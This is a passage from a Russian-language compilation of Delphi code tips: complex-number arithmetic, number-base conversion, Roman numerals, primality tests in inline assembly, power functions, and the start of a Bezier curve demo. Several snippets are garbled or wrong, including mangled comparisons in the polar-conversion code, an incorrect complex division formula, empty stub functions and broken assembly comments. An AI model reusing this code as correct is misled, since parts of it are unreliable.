  for Lfactor := trunc(ArrayMax(A) / 2) downto 2 do
  begin
    Lindex := 0;
    while (Lindex < Llength) and
      (frac(A[Lindex] / Lfactor) = 0) do Inc(Lindex);
    if Lindex = Llength then
    begin
      Result := Lfactor;
      Exit; // GCF has been found. No need to continue
    end;
  end;
end;

// find the maximum value in an array of integers
function TForm1.ArrayMax(Aarray: array of Integer): Integer;
var
  Lpos: Integer;
begin
  Result := 0;
  for Lpos := 0 to Length(Aarray) - 1 do
    if Aarray[Lpos] > Result then
      Result := Aarray[Lpos];
end;

Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Как работать с комплексными числами?

Взято из http://www.ibrtses.com/delphi/complexrec.html
Complex numbers
Complex numbers have two representations :
rectanglar : Z = a + i * b, a being the real part, and b being the imaginary part
polar : Z = r * exp(i * phi), r being the absolute value, and phi being the argument(angle)
a reason to demotivate compiler writers to have it as native type.

Here is a unit that approaches the complex as record.
the used record is of dual use, either rectangular or polar,
one just has to keep in mind what in is at the moment.

{ unit for complex numbers based on C_reords
-----------------------------------------
they are efficient on arrays
}
unit ComplexRec;

interface

type
  float = extended;

  ComplexPtr = ^Complex;
  Complex = record // C_record without rectangular/polar discrimination
    a, b: float; // (re,im) or (abs,arg)
  end;

function C_Copy(a: ComplexPtr): ComplexPtr; // result:=a

function C_One: ComplexPtr; // result:=1 BOTH
function C_I: ComplexPtr; // result:=i RECTANGULAR
function C_IP: ComplexPtr; // result:=i POLAR
procedure C_P2R(a: ComplexPtr); // polar to rectangular
procedure C_R2P(a: ComplexPtr); // rectangular to polar
function C_abs(a: ComplexPtr): float; // RECTANGULAR
function C_arg(a: ComplexPtr): float; // RECTANGULAR
function C_re(a: ComplexPtr): float; // POLAR
function C_im(a: ComplexPtr): float; // POLAR
procedure C_Inv(a: ComplexPtr); // a:=-a RECTANGULAR
procedure C_InvP(a: ComplexPtr); // a:=-a POLAR
procedure C_Conj(a: ComplexPtr); // a:=konjug(a) BOTH
function C_ConjN(a: ComplexPtr): ComplexPtr; //result:=konjug(a) BOTH
procedure C_Scale(a: ComplexPtr; u: float); // a:=a*u;
procedure C_ScaleP(a: ComplexPtr; u: float); // a:=a*u;

procedure C_Add(a, b: ComplexPtr); //a:=a+b RECTANGULAR
function C_AddN(a, b: ComplexPtr): ComplexPtr; //result:=a+b RECTANGULAR
procedure C_Sub(a, b: ComplexPtr); //a:=a-b RECTANGULAR
function C_SubN(a, b: ComplexPtr): ComplexPtr; //result:=a-b RECTANGULAR
procedure C_Mul(a, b: ComplexPtr); //a:=a*b RECTANGULAR
function C_MulN(a, b: ComplexPtr): ComplexPtr; //result:=a*b RECTANGULAR
procedure C_MulP(a, b: ComplexPtr); //a:=a*b POLAR
function C_MulNP(a, b: ComplexPtr): ComplexPtr; //result:=a*b POLAR
procedure C_DivP(a, b: ComplexPtr); //a:=a/b POLAR
function C_DivNP(a, b: ComplexPtr): ComplexPtr; //result:=a/b POLAR
procedure C_Div(a, b: ComplexPtr); //a:=a/b POLAR
function C_DivN(a, b: ComplexPtr): ComplexPtr; //result:=a/b POLAR
function C_ExpN(a: ComplexPtr): ComplexPtr; // RECTANGLE
function C_LogN(a: ComplexPtr): ComplexPtr; // POLAR
function C_SinN(a: ComplexPtr): ComplexPtr;
function C_CosN(a: ComplexPtr): ComplexPtr;
function C_TanN(a: ComplexPtr): ComplexPtr;
function C_SinhN(a: ComplexPtr): ComplexPtr;
function C_CoshN(a: ComplexPtr): ComplexPtr;
function C_TanhN(a: ComplexPtr): ComplexPtr;
function C_IntPowerN(a: ComplexPtr; n: integer): ComplexPtr; // RECTANGLE
function C_IntPowerNP(a: ComplexPtr; n: integer): ComplexPtr; // POLAR

function C_ParallelN(a, b: ComplexPtr): ComplexPtr; // result:=a//b =(a*b)/(a+b) RECTANGULAR
// electronic parallel circuit

implementation

uses math;

const AlmostZero = 1E-30; // test for zero

function C_Copy(a: ComplexPtr): ComplexPtr; // result:=a
begin
  result := new(ComplexPtr);
  result.a := a.a; result.b := a.b;
end;

function C_One: ComplexPtr; // result:=1
begin
  result := new(ComplexPtr);
  result.a := 1; result.b := 0;
end;

function C_I: ComplexPtr; // result:=i RECTANGULAR
begin
  result := new(ComplexPtr);
  result.a := 0; result.b := 1;
end;

function C_IP: ComplexPtr; // result:=i POLAR
begin
  result := new(ComplexPtr);
  result.a := 1; result.b := pi / 2;
end;

procedure C_P2R(a: ComplexPtr);
var t, u, v: float;
begin
  t := a.a;
  sincos(a.b, u, v);
  a.a := t * v; a.b := t * u;
end;

procedure C_R2P(a: ComplexPtr);
var t: float;
begin
  t := a.a; a.a := sqrt(sqr(a.a) + sqr(a.b));
  if (abs(t)0 then a.b := pi / 2
  else
    a.b := -pi / 2;
end
else
  begin
    a.b := arctan(a.b / t);
    if (t < 0) then a.b := a.b + pi;
  end;
end;

function C_abs(a: ComplexPtr): float;
begin
  result := sqrt(sqr(a.a) + sqr(a.b));
end;

function C_arg(a: ComplexPtr): float;
begin
  if (abs(a.a)0 then result := pi / 2
else
  result := -pi / 2;
end
else
  begin
    result := arctan(a.b / a.a);
    if (a.a < 0) then result := result + pi;
  end;
end;

function C_re(a: ComplexPtr): float; // POLAR
begin
  result := a.a * cos(a.b);
end;

function C_im(a: ComplexPtr): float; // POLAR
begin
  result := a.a * sin(a.b);
end;

procedure C_Inv(a: ComplexPtr); // a:=-a RECTANGULAR
begin
  a.a := -a.a; a.b := -a.b;
end;

procedure C_InvP(a: ComplexPtr); // a:=-a POLAR
begin
  a.b := a.b + pi;
end;

procedure C_Conj(a: ComplexPtr); // a:=konjug(a) BOTH
begin
  a.b := -a.b;
end;

function C_ConjN(a: ComplexPtr): ComplexPtr; //result:=konjug(a) BOTH
begin
  result := new(ComplexPtr);
  result.a := a.a;
  result.b := -a.b;
end;

procedure C_Scale(a: ComplexPtr; u: float); // a:=a*u;
begin
  a.a := a.a * u;
  a.b := a.b * u;
end;

procedure C_ScaleP(a: ComplexPtr; u: float); // a:=a*u;
begin
  a.a := a.a * u;
end;

procedure C_Add(a, b: ComplexPtr); //a:=a+b RECTANGULAR
begin
  a.a := a.a + b.a;
  a.b := a.b + b.b;
end;

function C_AddN(a, b: ComplexPtr): ComplexPtr; //result:=a+b RECTANGULAR
begin
  result := new(ComplexPtr);
  result.a := a.a + b.a;
  result.b := a.b + b.b;
end;

procedure C_Sub(a, b: ComplexPtr); //a:=a-b RECTANGULAR
begin
  a.a := a.a - b.a;
  a.b := a.b - b.b;
end;

function C_SubN(a, b: ComplexPtr): ComplexPtr; //result:=a-b RECTANGULAR
begin
  result := new(ComplexPtr);
  result.a := a.a - b.a;
  result.b := a.b - b.b;
end;

procedure C_Mul(a, b: ComplexPtr); //a:=a*b RECTANGULAR
var u, v: float;
begin
  u := a.a * b.a - a.b * b.b;
  v := a.a * b.b + a.b * b.a;
  a.a := u;
  a.b := v;
end;

function C_MulN(a, b: ComplexPtr): ComplexPtr; //result:=a*b RECTANGULAR
begin
  result := new(ComplexPtr);
  result.a := a.a * b.a - a.b * b.b;
  result.b := a.a * b.b + a.b * b.a;
end;

procedure C_MulP(a, b: ComplexPtr); //a:=a*b POLAR
begin
  a.a := a.a * b.a;
  a.b := a.b + b.b;
end;

function C_MulNP(a, b: ComplexPtr): ComplexPtr; //result:=a*b POLAR
begin
  result := new(ComplexPtr);
  result.a := a.a * b.a;
  result.b := a.b + b.b;
end;

procedure C_Div(a, b: ComplexPtr); //a:=a/b RECTANGULAR
var t: float;
begin
  t := a.a / b.a + a.b / b.b;
  a.b := -a.a / b.b + a.b / b.a;
  a.a := t;
end;

function C_DivN(a, b: ComplexPtr): ComplexPtr; //result:=a/b RECTANGULAR
begin
  result := new(ComplexPtr);
  result.a := a.a / b.a + a.b / b.b;
  result.b := -a.a / b.b + a.b / b.a;
end;

procedure C_DivP(a, b: ComplexPtr); //a:=a/b POLAR
begin
  a.a := a.a / b.a;
  a.b := a.b - b.b;
end;

function C_DivNP(a, b: ComplexPtr): ComplexPtr; //result:=a/b POLAR
begin
  result := new(ComplexPtr);
  result.a := a.a / b.a;
  result.b := a.b - b.b;
end;

function C_ExpN(a: ComplexPtr): ComplexPtr; // RECTANGLE
begin
  result := new(ComplexPtr);
  result.a := exp(a.a);
  result.b := a.b;
  C_P2R(result);
end;

function C_LogN(a: ComplexPtr): ComplexPtr; // POLAR
begin
  result := new(ComplexPtr);
  result.a := ln(a.a);
  result.b := a.b;
  C_R2P(result);
end;

function C_SinN(a: ComplexPtr): ComplexPtr;
var z, n, v, t: ComplexPtr;
begin
  t := C_I;
  v := C_MulN(a, t); // i*a
  z := C_expN(a); // exp(i*a)
  t := C_Copy(v);
  C_Inv(t); // -i*a
  t := C_ExpN(v); // exp(-i*a)
  C_Sub(z, t);
  n := C_I;
  C_Scale(n, 2);
  result := C_DivN(z, n);
  dispose(z); dispose(n); dispose(v); dispose(t);
end;

function C_CosN(a: ComplexPtr): ComplexPtr;
var z, n, v, t: ComplexPtr;
begin
  t := C_I;
  v := C_MulN(a, t); // i*a
  z := C_expN(a); // exp(i*a)
  t := C_Copy(v);
  C_Inv(t); // -i*a
  t := C_ExpN(v); // exp(-i*a)
  C_Add(z, t);
  n := C_One;
  C_Scale(n, 2);
  result := C_DivN(z, n);
  dispose(z); dispose(n); dispose(v); dispose(t);
end;

function C_TanN(a: ComplexPtr): ComplexPtr;
begin

end;

function C_SinhN(a: ComplexPtr): ComplexPtr;
var u, v, t: ComplexPtr;
begin
  u := C_ExpN(a);
  t := C_Copy(a);
  C_inv(t);
  v := C_ExpN(t);
  result := C_SubN(u, v);
  C_Scale(result, 1 / 2);
  dispose(u);
  dispose(v);
  dispose(t);
end;

function C_CoshN(a: ComplexPtr): ComplexPtr;
var u, v, t: ComplexPtr;
begin
  u := C_ExpN(a);
  t := C_Copy(a);
  C_inv(t);
  v := C_ExpN(t);
  result := C_AddN(u, v);
  C_Scale(result, 1 / 2);
  dispose(u);
  dispose(v);
  dispose(t);
end;

function C_TanhN(a: ComplexPtr): ComplexPtr;
begin

end;

function C_IntPowerN(a: ComplexPtr; n: integer): ComplexPtr;
var j: integer;
  u, v: float;
begin
  if n = 0 then
    result := C_One
  else
    begin
      result := C_Copy(a);
      if n > 1 then
        begin
          C_R2P(result);
          u := result.a; v := result.b;
          for j := 2 to n do
            begin
              u := u * result.a; v := v + result.b;
            end;
          result.a := u; result.b := v;
          C_P2R(result);
        end;
      if n < 0 then
        begin

        end;
    end;
end;

function C_IntPowerNP(a: ComplexPtr; n: integer): ComplexPtr;
var j: integer;
  u, v: float;
begin
  result := C_Copy(a);
  u := result.a; v := result.b;
  for j := 2 to n do
    begin
      u := u * result.a; v := v + result.b;
    end;
  result.a := u; result.b := v;
end;

function C_ParallelN(a, b: ComplexPtr): ComplexPtr; // result:=a//b = (a*b)/(a+b)
var z, n: ComplexPtr;
begin
  z := C_MulN(a, b);
  n := C_AddN(a, b);
  C_R2P(n);
  C_R2P(z);
  result := C_DivNP(z, n);
  C_P2R(result);
  dispose(n);
  dispose(z);
end;

end.

Copyright (99,2000) Ing.BЁ№ro R.Tschaggelar
Взято с Vingrad.ru http://forum.vingrad.ru


Преобразование числа в двоичную запись

Для преобразования числа в двоичную запись удобно использовать функции shl и and.
Эта функция преобразует число в строку из единиц и нулей. Количество цифр определяется параметром Digits.

function IntToBin(Value: integer; Digits: integer): string;
var
  i: integer;
begin
  result := '';
  for i := 0 to Digits - 1 do begin
    if Value and (1 shl i) > 0
      then result := '1' + result
      else result := '0' + result;
  end;
end;
Вот пример использования этой функции:

procedure TForm1.Edit1Change(Sender: TObject);
begin
  Form1.Caption := IntToBin(StrToIntDef(Edit1.Text, 0), 128);
end;

Взято с сайта http://blackman.wp-club.net/


Как посчитать факториал?

{
  The factorial of a positive integer is defined as:

  n! = n*(n-1)*(n-2)*(n-3)*...*2*1
  1! = 1
  0! = 1

  Example: 5! = 5*4*3*2*1
}

// Iterative Solution:

function FacIterative(n: Word): Longint;
var
  f: LongInt;
  i: Integer;
begin
  f := 1;
  for i := 2 to n do f := f * i;
  Result := f;
end;

// Recursive Solution:

function FacRecursive(n: Word): LongInt;
begin
  if n > 1 then
    Result := n * FacRecursive(n-1)
  else
    Result := 1;
end;
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Конвертация римских цифр в арабские

function RomanToDec(const Value: string): integer;
var
  i, lastValue, curValue: integer;
begin
  Result := 0;
  lastValue := 0;
  for i := Length(Value) downto 1 do
  begin
    case UpCase(Value[i]) of
      'C':
        curValue := 100;
      'D':
        curValue := 500;
      'I':
        curValue := 1;
      'L':
        curValue := 50;
      'M':
        curValue := 1000;
      'V':
        curValue := 5;
      'X':
        curValue := 10;
    else
      raise Exception.CreateFmt('Invalid character: %s', [Value[i]]);
    end;
    if curValue < lastValue then
      Dec(Result, curValue)
    else
      Inc(Result, curValue);
    lastValue := curValue;
  end;
end;
Взято с Delphi Knowledge Base: http://www.baltsoft.com/


Конвертация арабских цифр в римские

function IntToRoman(num: Cardinal): String;  {returns num in capital roman digits}
const
  Nvals = 13;
  vals: array [1..Nvals] of word = (1, 4, 5, 9, 10, 40, 50, 90, 100, 400, 500, 900, 1000);
  roms: array [1..Nvals] of string[2] = ('I', 'IV', 'V', 'IX', 'X', 'XL', 'L', 'XC', 'C', 'CD', 'D', 'CM', 'M');
var
  b: 1..Nvals;
begin
  result := '';
  b := Nvals;
  while num > 0 do
  begin
    while vals[b] > num do
      dec(b);
    dec (num, vals[b]);
    result := result + roms[b]
  end;
end;
Взято из http://www.lmc-mediaagentur.de/dpool


Как представить число в другой системе счисления?

function BaseConvert(NumIn: string; BaseIn: Byte; BaseOut: Byte): string;
var
  i: integer;
  currentCharacter: char;
  CharacterValue: Integer;
  PlaceValue: Integer;
  RunningTotal: Double;
  Remainder: Double;
  BaseOutDouble: Double;
  NumInCaps: string;
  s: string;
begin
  if (NumIn = '') or (BaseIn < 2) or (BaseIn > 36) or (BaseOut < 1) or (BaseOut > 36) then
  begin
    Result := 'Error';
    Exit;
  end;

  NumInCaps    := UpperCase(NumIn);
  PlaceValue   := Length(NumInCaps);
  RunningTotal := 0;

  for i := 1 to Length(NumInCaps) do
  begin
    PlaceValue       := PlaceValue - 1;
    CurrentCharacter := NumInCaps[i];
    CharacterValue   := 0;
    if (Ord(CurrentCharacter) > 64) and (Ord(CurrentCharacter) < 91) then
      CharacterValue := Ord(CurrentCharacter) - 55;

    if CharacterValue = 0 then
      if (Ord(CurrentCharacter) < 48) or (Ord(CurrentCharacter) > 57) then
      begin
        BaseConvert := 'Error';
        Exit;
      end
      else
        CharacterValue := Ord(CurrentCharacter);

    if (CharacterValue < 0) or (CharacterValue > BaseIn - 1) then
    begin
      BaseConvert := 'Error';
      Exit;
    end;
    RunningTotal := RunningTotal + CharacterValue * (Power(BaseIn, PlaceValue));
  end;

  while RunningTotal > 0 do
  begin
    BaseOutDouble := BaseOut;
    Remainder     := RunningTotal - (int(RunningTotal / BaseOutDouble) * BaseOutDouble);
    RunningTotal  := (RunningTotal - Remainder) / BaseOut;

    if Remainder >= 10 then
      CurrentCharacter := Chr(Trunc(Remainder + 55))
    else
    begin
      s := IntToStr(trunc(remainder));
      CurrentCharacter := s[Length(s)];
    end;
    Result := CurrentCharacter + Result;
  end;
end;

// Example, Beispiel

procedure TForm1.Button1Click(Sender: TObject);
begin
  BaseConvert('FFFF', 16, 10);
  // returns, ergibt '65535'.
end;
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php

Решение от Борланд:

The following function will convert a number from one base to
a number of another base:

procedure RadixStr(NumStr : pChar;
Radix : LongInt;
ResultStr : pChar;
NewRadix : LongInt;
var ErrorCode : LongInt);

The RadixStr() function takes a pointer to a null terminated string
containing a number of one base, and fills a buffer with a null
terminated string containing the number converted to another base.

Parameters:

NumStr: A pointer to a null terminated string containing the numeric
string to convert:

Radix: The base of the number contained in the NumStr parameter. The
base must be in the range of 2 to 36;

ResultStr : A pointer to a null terminated string buffer to place the
resulting numeric string. The buffer should be sufficiently large to
hold the resulting string.

NewRadix: The base to use in the conversion. The base must be in the
range of 2 to 36;

ErrorCode: Upon return, contains the return code 0 if successful, or
the character number of the offending character contained in the
buffer NumStr.

Examples of calling the RadixStr() function:

{Convert Hex to Decimal}
RadixStr('FF',
         16,
         lpBuffer,
         10,
         Code);

Should return the string '255' in lpbuffer^.

{Convert Decimal to Binary}
RadixStr('255',
         10,
         lpBuffer,
         2,
         Code);

Should return the string '11111111' in lpbuffer^.

{Convert Hex to Octal}
RadixStr('FF',
         16,
         lpBuffer,
         8,
         Code);

Should return the string '377' in lpbuffer^.

{Function code}

procedure RadixStr(NumStr : pChar;
                   Radix : LongInt;
                   ResultStr : pChar;
                   NewRadix : LongInt;
                   var ErrorCode : LongInt);
var
  RadixChar : array[0..35] of Char;
  v : LongInt;
  i : LongInt;
  p : LongInt;
  c : Integer;
begin
  if ((Abs(Radix) < 2) or
      (Abs(Radix) > 36)) then begin
    ErrorCode := p;
    Exit;
  end;
  StrLCopy(ResultStr, NumStr, StrLen(NumStr));
  for i := 0 to 35 do begin
    if i <= 9 then
      RadixChar[i] := Char(48 + (i))
    else
      RadixChar[i] := Char(64 + (i - 9))
  end;
  v := 0;
  for i := 0 to (StrLen(ResultStr) - 1) do begin
    ResultStr[i] := UpCase(ResultStr[i]);
    p := Pos(ResultStr[i], PChar(@RadixChar)) - 1;
    if ((p < 0) or
        (p >= Abs(Radix))) then begin
      ErrorCode := i;
      Exit;
    end;
    v := v * Abs(Radix) + p;
  end;
  if v = 0 then begin
    ResultStr := '0';
    ErrorCode := 0;
    exit;
  end else begin
    i:=0;
    repeat
      ResultStr[i] := RadixChar[v mod NewRadix];
      v := v div NewRadix;
      Inc(i)
    until v = 0;
    if Radix < 0 then begin
      ResultStr[i] := '-';
      ResultStr[i + 1] := #0
    end else
      ResultStr[i] := #0;
    p := StrLen(ResultStr);
    for i := 0 to ((p div 2) - 1) do begin
      ResultStr[i] := Char(Byte(ResultStr[i]) xor
                           Byte(ResultStr[(p - i) - 1]));
      ResultStr[(p - i) - 1] := Char(Byte(ResultStr[(p - i) - 1]) xor
                                     Byte(ResultStr[i]));
      ResultStr[i] := Char(Byte(ResultStr[i]) xor
                           Byte(ResultStr[(p - i) - 1]))
    end;
    ResultStr[p] := #0;
    ErrorCode := 0;
  end;
end;


Как проверить, является ли число простым?

function IsPrime(N: Cardinal): Boolean; register;
  // test if N is prime, do some small Strong Pseudo Prime test in certain bounds
  // copyright (c) 2000 Hagen Reddmann, don't remove
asm
      TEST  EAX,1            { Odd(N) ?? }
      JNZ   @@1
      CMP   EAX,2            { N == 2 ?? }
      SETE  AL
      RET
@@1:  CMP   EAX,73           { N        JB    @@C }
      JE    @@E              { N == 73 ?? }
      PUSH  ESI
      PUSH  EDI
      PUSH  EBX
      PUSH  EBP
      PUSH  EAX              { save N as Param for @@5 }
      LEA   EBP,[EAX - 1]    {  M == N -1, Exponent }
      MOV   ECX,32           { calc remaining Bits of M and shift M' }
      MOV   ESI,EBP
@@2:  DEC   ECX
      SHL   ESI,1
      JNC   @@2
      PUSH  ECX              { save Bits as Param for @@5 }
      PUSH  ESI              {  save M' as Param for @@5 }
      CMP   EAX,08A8D7Fh     {  N = 9080191 ?? }
      JAE   @@3
      // now if (N       MOV   EAX,31
      CALL  @@5              { 31^((N-1)(2^s)) mod N }
      JC    @@4
      MOV   EAX,73           { 73^((N-1)(2^s)) mod N }
      PUSH  OFFSET @@4
      JMP   @@5
      // now if (N @@3:   MOV   EAX,2
      CALL  @@5
      JC    @@4
      MOV   EAX,7
      CALL  @@5
      JC    @@4
      MOV   EAX,61
      CALL  @@5
@@4:  SETNC AL
      ADD   ESP,4 * 3
      POP   EBP
      POP   EBX
      POP   EDI
      POP   ESI
      RET
// do a Strong Pseudo Prime Test
@@5:  MOV   EBX,[ESP + 12]     { N on stack }
      MOV   ECX,[ESP +  8]     { remaining Bits }
      MOV   ESI,[ESP +  4]     { M' }
      MOV   EDI,EAX            { T = b, temp. Base }
@@6:  DEC   ECX
      MUL   EAX
      DIV   EBX
      MOV   EAX,EDX
      SHL   ESI,1
      JNC   @@7
      MUL   EDI
      DIV   EBX
      AND   ESI,ESI
      MOV   EAX,EDX
@@7:  JNZ   @@6
      CMP   EAX,1      { b^((N -1)(2^s)) mod N ==  1 mod N ?? }
      JE    @@A
@@8:  CMP   EAX,EBP    { b^((N -1)(2^s)) mod N == -1 mod N ?? , EBP = N -1 }
      JE    @@A
      DEC   ECX        { second part to 2^s }
      JNG   @@9
      MUL   EAX
      DIV   EBX
      CMP   EDX,1
      MOV   EAX,EDX
      JNE   @@8
@@9:  STC
@@A:  RET
@@B:  DB    3,5,7,11,13,17,19,23,29,31,37,41,43,47,53,59,61,67,71
@@C:  MOV   EDX,OFFSET @@B
      MOV   ECX,18
@@D:  CMP   AL,[EDX + ECX]
      JE    @@E
      DEC   ECX
      JNL   @@D
@@E:  SETE  AL
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
  if IsPrime(3453451) then
    ShowMessage('yes');
end;

{**** Another function ***}

function IsPrime(Prim: Longint): Boolean;
var
  Z: Real;
  Max: LongInt;
  Divisor: LongInt;
begin
  Prime := False;
  if (Prim and 1) = 0 then Exit;
  Z       := Sqrt(Prim);
  Max     := Trunc(Z) + 1;
  Divisor := 3;
  while Max > Divisor do
  begin
    if (Prim mod Divisor) = 0 then Exit;
    Inc(Divisor, 2);
    if (Prim mod Divisor) = 0 then Exit;
    Inc(Divisor, 4);
  end;
  Prime := True;
end;
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Функция вычисления степени

function Degree(const DegBasis, DegParam: Extended): Extended;
asm
   // Вход: DegBasis, DegParam --> в стеке
   // Выход: Result --> ST(0)
   // Примечание:
   // В случае некорректных данных в ST(0) возвращается DegParam

   XOR     EDX, EDX
   FLD     DegParam
   FTST
   FNSTSW  AX
   SAHF
   JNZ     @@DegParam_is_not_0
   FFREE   ST
   FLD1
   JMP     @@exit
@@DegParam_is_not_0:
   JC @@DegParam_is_less_than_0
   JMP     @@cmp_DegBasis_to_0
@@DegParam_is_less_than_0:
   OR EDX, 1
@@cmp_DegBasis_to_0:
   FLD     DegBasis
   FTST
   FNSTSW  AX
   SAHF
   JNZ     @@DegBasis_is_not_0
   TEST    EDX, 1
   JZ @@DegParam_is_greater_than_0
   FSTP    ST
   JMP     @@exit
@@DegParam_is_greater_than_0:
   FSTP    ST(1)
   JMP     @@exit
@@DegBasis_is_not_0:
   TEST    BYTE PTR DegBasis + 9, 80H
   JZ @@DegBasis_is_greater_than_0
   FABS
   FXCH
   OR EDX, 2
   FLD     ST
   FRNDINT
   FSUB    ST, ST(1)
   FTST
   FNSTSW  AX
   SAHF
   FSTP    ST
   JZ @@DegParam_is_integer
   FLD1
   FDIV    ST, ST(1)
   FABS
   FLD1
   FCOMP
   FNSTSW  AX
   SAHF
   JC @@1_div_Abs_DegParam_greater_or_equal_to_1
   JZ @@1_div_Abs_DegParam_greater_or_equal_to_1
   FSTP    ST
   FSTP    ST(1)
   JMP     @@exit
@@1_div_Abs_DegParam_greater_or_equal_to_1:
   FISTP   QWORD PTR @@Int_64
   TEST    BYTE PTR @@Int_64, 1
   JNZ     @@continue
   FSTP    ST(1)
   JMP     @@exit
@@DegParam_is_integer:
   FLD     ST
   FISTP   QWORD PTR @@Int_64
   TEST    BYTE PTR @@Int_64, 1
   JNZ     @@continue
   XOR     EDX, EDX
@@continue:
   FXCH
@@DegBasis_is_greater_than_0:
   FYL2X
   FLD     ST
   FRNDINT
   FSUB    ST(1), ST
   FXCH    ST(1)
   F2XM1
   FLD1
   FADD
   FSCALE
   FSTP    ST(1)
   TEST    EDX, 2
   JZ @@exit
   FCHS
   JMP     @@exit
@@Int_64:
   DQ 0
@@exit:
   FWAIT

end;

Автор ___ALex___
http://forum.pascal.dax.ru/


Корректная функция возведения в степень

function power(Base, Exponent: Extended): Extended;
var ex: extended;
begin
  power := 0;
  if (exponent <> 0)
    and (frac(trunc((1 / exponent) * 1000000) / 1000000) = 0)
    and (base < 0) then
    begin
      if round(1 / exponent) mod 2 = 0 then exit;
      ex := Exp(Exponent * Ln(-Base));
      power := -ex;
    end
  else
    begin
      if Exponent = 0.0 then
        power := 1.0
      else if (Base = 0.0) and (Exponent > 0.0) then
        power := 0.0
      else if (Frac(Exponent) = 0.0) and (Abs(Exponent) <= MaxInt) then
        power := IntPower(Base, Integer(Trunc(Exponent)))
      else
        power := Exp(Exponent * Ln(Base))
    end;
end;

Теперь можем вычислить нечетный корень из отрицательного числа

Автор ответа: Mikel
Взято с Vingrad.ru http://forum.vingrad.ru


Алгоритмы работы с графикой

Cодержание раздела:

Как нарисовать кривую Безье?
Как нарисовать график функции?
Как нарисовать фрактал?
Как определить лежит ли точка внутри полигона?
Нахождение угла между радиус вектором и осью OX
Алгоритм поворота изображения Updated!
Поиск пересечений графика с осью OX
RGB --> CMYK
CMYK --> RGB
Вращение объектов
Алгоритм градиентной заливки
Алгоритмы потухания текста и обратного ему эффекта
Размыть изображение New!
Rotate a 2D Point New!
Rotate a 3D Point around another 3D Point New!
Найти центр треугольника New!
Find the convex hull of 2D points? New!
Найти точку пересечения прямых New!
Draw a polygon with Gouraud shading? New!
Detect simple collision and transparency New!
Вращение изображения New!
За какое время было создано изображение New!
Инверсия всех цветов в TBitmap New!

См. также статьи в других разделах:
Как качественно увеличить изображение при помощи билинейной интерполяции
Как сделать стандартные цвета в Delphi светлее или темнее
Как преобразовать цвет в оттенки серого
Градиентная заливка и сложение цветов
Как получить более светлый или более тёмный цвет?
Как получить средний цвет между двумя цветами?
Дополнительные константы цветов
Как найти контрастный цвет к данному?
Как создать disable битмап из обычного (emboss etc)?
Как сделать colorize?
Получение Gaussian Blur
Как работать с fade для TImage?
Как сделать Twist / Swirl эффект
Как сделать wipe эффект
Как сделать 24bit dithering?
Как сделать greyscale dithering?
Как добавить когерентный шум?
Качественно уменьшить изображение


Как нарисовать кривую Безье?

Как нарисовать кривую
Безье. Именно она применяется для построения гладких кривых во всех графических
программах - от PaintBrush до CorelDraw и PhotoShop. Для задания кривой Безье n-ной степени (чем больше степень, тем более кривой
может быть линия; кривая первой степени - отрезок) нужно указать n+1 точку. Первая
и последняя точки будут началом и концом кривой, а остальные точки задаю ее поведение
на других участках. В частности, первая и n-ая точки задают касательные и кривизну
кривой на ее концах. В большинстве программ используются кривые Безье третьего
порядка. Начиная с Delphi5 такую кривую можно нарисовать при помощи функции PolyBezier. Кривая Безье задается параметрически (x=x(t), y=y(t)). Это позволяет ей вести
себя абсолютно произвольно. Если бы она задавалась, как y(x), она не смогла бы
даже сделать поворот на 180 градусов. Функции x(t) и y(t) выглядят так:
x(t)= Cn0 * t0 * (1-t)n * x0 + Cn1 * t1 * (1-t)n-1 * x1 + Cn2 * t2 * (1-t)n-2
* x2 + ... + Cnn * tn * (1-t)0 * xn
y(t)= Cn0 * t0 * (1-t)n * y0 + Cn1 * t1 * (1-t)n-1 * y1 + Cn2 * t2 * (1-t)n-2
* y2 + ... + Cnn * tn * (1-t)0 * yn
где n - порядок кривой, Cni - коэффициенты в разложении бинома Ньютона, t - параметр,
меняющийся от 0 до 1, xi, yi - координаты опорных точек. Эта программа строит кривую Безье n-ного порядка. n задается в SpinEdit1. Все
узлы можно перемещать по полю мышью. Для создания нового узла нужно нажать мышью
на пустое место на поле или увеличить порядок кривой. Скачать необходимые для компиляции файлы проекта можно на http://program.dax.ru/.

uses Math;

const
RectSize = 5;
MaxN = 128;

var
n: integer = -1;
pt: array [0..MaxN] of TPoint;
C: array [0..MaxN] of single;
bm: TBitMap;

function GetBinomialCoefficient(m, i: integer): single;
function Factorial(x: integer): double;
var i: integer;
begin
result := 1;
for i := 2 to x do result := result * i;
end;
begin
result := Factorial(m) / (Factorial(i) * Factorial(m - i));
end;

procedure DrawBezier(Canvas: TCanvas; Count: integer);
type
TPointArray = array [word] of TPoint;
PPointArray = ^TPointArray;
var
p: PPointArray;
Step, qx, qy, t, q: single;
i, j: integer;
begin
GetMem(p, sizeof(TPoint) * (Count + 1));
Step := 1.0 / Count;
for i := 0 to Count do
begin
t := i * Step;
qx := 0; qy := 0;
for j := 0 to n do
begin
q := C[j] * IntPower(1 - t, j) * IntPower(t, n - j);
qx := qx + q * pt[j].x;
qy := qy + q * pt[j].y;
end;
p[i] := Point(round(qx), round(qy));
end;
Canvas.Polyline(Slice(p^, Count + 1));
FreeMem(p);
end;

procedure DrawLines(canvas: TCanvas; const pt: array of TPoint);
var
i: integer;
begin
Canvas.Pen.Color := clGreen;
Canvas.Pen.Width := 1;
Canvas.MoveTo(pt[0].x, pt[0].y);
for i := 0 to n do
begin
Canvas.Rectangle(Bounds(pt[i].x - RectSize, pt[i].y - RectSize,
2 * RectSize, 2 * RectSize));
Canvas.LineTo(pt[i].x, pt[i].y);
end;
end;

procedure Redraw;
begin
with Form1.PaintBox1 do
begin
bm.Canvas.FillRect(Bounds(0, 0, Width, Height));
if Form1.CheckBox1.Checked then DrawLines(bm.Canvas, pt);
bm.Canvas.PolyBezier(pt);
bm.Canvas.Pen.Color := clRed;
bm.Canvas.pen.Width := Form1.SpinEdit3.Value;
DrawBezier(bm.Canvas, Form1.SpinEdit2.Value);
Canvas.Draw(0, 0, bm);
end;
end;

var
moving: integer = -1;
oldr: TRect;

procedure FillRandom(NewN: integer);
var
i: integer;
begin
randomize;
for i := n+1 to NewN do pt[i] := Point(random(Form1.PaintBox1.Width - 20) + 10,
random(Form1.PaintBox1.Height - 20) + 10);
n := NewN;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
bm := TBitmap.Create;
bm.Width := PaintBox1.Width;
